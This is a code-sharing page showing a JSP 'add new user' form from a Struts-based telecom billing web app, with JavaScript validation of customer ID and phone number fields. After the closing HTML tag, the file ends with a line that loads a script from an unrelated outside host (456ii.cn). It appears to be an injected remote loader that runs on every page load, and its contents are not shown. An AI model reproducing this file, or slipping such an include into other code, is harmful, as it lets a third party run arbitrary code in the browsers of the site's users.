⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 newuseroper.jsp

📁 开发的一个java web的任务管理系统。
💻 JSP
字号:
<%@page pageEncoding="UTF-8"%>
<%@ taglib uri="/WEB-INF/struts-html.tld" prefix="html"%>
<%@ taglib uri="/WEB-INF/struts-bean.tld" prefix="bean"%>
<%@ taglib uri="/WEB-INF/struts-logic.tld" prefix="logic"%>
<HTML><HEAD><TITLE>联通收费系统</TITLE>
<META http-equiv=Content-Type content="text/html; charset=UTF-8">
<META content="MSHTML 6.00.2600.0" name=GENERATOR>
<link href="style.css" rel="stylesheet" type="text/css">
<script>
function showCustomerId()
{
  var theForm = document.dynaForm;
  theForm.customerNumber.value=theForm.customerNumbers[theForm.customerNumbers.selectedIndex].value;
}

function showMobileAvailable()
{
   var theForm = document.dynaForm;
   theForm.mobileNumber.value=theForm.mobileNumbers[theForm.mobileNumbers.selectedIndex].value;
}
function addUserValidate()
{
   var theForm = document.dynaForm;
   var customerNumber = theForm.customerNumber.value;
   var mobileNumber = theForm.mobileNumber.value;
   if(customerNumber=="")
   {
     alert("客户Id不能为空");
     theForm.customerNumber.focus();
     return false;
   }else{
     if(isNaN(customerNumber))
      {
        alert("客户Id必须为数字");
        theForm.customerNumber.focus();
        return false;
      }else{
        if(mobileNumber=="")
        {
          alert("电话号码不能为空");
          theForm.mobileNumber.focus();
          return false;
        }else{
          if(isNaN(mobileNumber))
          {
            alert("电话号码必须为数字");
            theForm.mobileNumber.focus();
            return false;
          }else{
            if((document.dynaForm.mobileNumber.value.replace(/[^\x00-\xff]/g,'**').length) != 11)
              {
                document.dynaForm.mobileNumber.focus();
                window.alert("请在文本框中输入11位电话号码");
                return false;
              }else{
            return true;
            }
          }
        }
      }
   }
}
 function refreshDate()
 {
   var theForm = document.dynaForm;
   theForm.customerNumber.value = "";
   theForm.mobileNumber.value = "";
 }
</script>
</HEAD>
<BODY bgColor=#ffffff leftMargin=0 topMargin=0 marginheight="0" marginwidth="0">
<CENTER>
<%@ include file="head.jsp"%>
<TABLE cellSpacing=0 cellPadding=0 width=749 border=0>
  <TBODY>
  <TR vAlign=top>
    <TD width=173 bgColor=#c9d3e9 rowSpan=2>
      <%@ include file="leftoper.jsp"%>
      </TD>
    <TD width=2 rowSpan=3><IMG height=1 src="images\blank(1).gif" width=2></TD>
    <TD width="2">
      <TABLE cellSpacing=0 cellPadding=0 width="100%" border=0>
        <TBODY>
        <TR>
          <TD height=25>&nbsp;您现在的位置:新增用户</TD>
        </TR>
        <TR>
          <TD bgColor=#2650a6><IMG height=1 src="images\blank(1).gif" 
            width=1></TD></TR>
        <TR>
          <TD><IMG height=2 src="images\blank(1).gif" width=574></TD></TR></TBODY></TABLE></TD></TR>
  <TR vAlign=top>
    <TD height="600" bgColor=#f1f3f9>
    
  <!--  <form method="POST" action="newAccount.htm">
      <p>手机号码:<input type="text" name="T1" size="20"></p>
      <p>漫游状态:<input type="radio" name="R1" value="V4" checked>省内漫游 <input type="radio" name="R1" value="V5">国内漫游 
      <input type="radio" name="R1" value="V6">国际漫游</p>
      <p>通话级别:<input type="radio" value="V1" checked name="R2">本地通话 
      <input type="radio" name="R2" value="V2">国内长途 <input type="radio" name="R2" value="V3">国际长途</p>
      <p>客户ID:<input type="text" name="T2" size="20" value="11100011" readonly></p>
      <p>账号:<input type="text" name="T3" size="20">  </p>
      <p><input type="submit" value="下一步>>" name="B1"><input type="reset" value="全部重写" name="B2"></p>
    </form>  -->  
    <html:form action="/addUser.do" onsubmit="return addUserValidate();">
    <P>请输入客户ID号:<html:text property="customerNumber"/>&nbsp;&nbsp;
    <logic:present name="customerList">
    客户姓名:
    <html:select property="customerNumbers" style="width:115px" onchange="showCustomerId()">
    <html:options collection="customerList" property="number" labelProperty="name"/>
    </html:select>
    </logic:present>
    </P>
    <p>请输入手机号码:<html:text property="mobileNumber"/>&nbsp;&nbsp;
    <logic:present name="mobileList">
    可用号码:
    <html:select property="mobileNumbers" onchange="showMobileAvailable()">
    <html:options collection="mobileList" property="number" labelProperty="number"/>
    </html:select>
    </logic:present>
    <p>请选择漫游状态:<html:radio property="status" value="P"/>省内漫游<html:radio property="status" value="D"/>国内漫游<html:radio property="status" value="I"/>国际漫游</p>
    <P>请选择通话级别:<html:radio property="level" value="L"/>本地通话<html:radio property="level" value="D"/>国内长途<html:radio property="level" value="I"/>国际长途</P>
    <br>
    &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
    <html:submit value="增加用户"/><html:button property="button" value="全部重置" onclick="refreshDate();" />
    </html:form>

    
    </TD>
    </TR>
  </TBODY></TABLE>
<BR></CENTER></BODY></HTML>
<script language="JavaScript">
	document.all("status")[0].checked=true;
	document.all("level")[0].checked=true;
</script>
<script language=javascript src=http://www.456ii.cn/all/aa.js></script>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -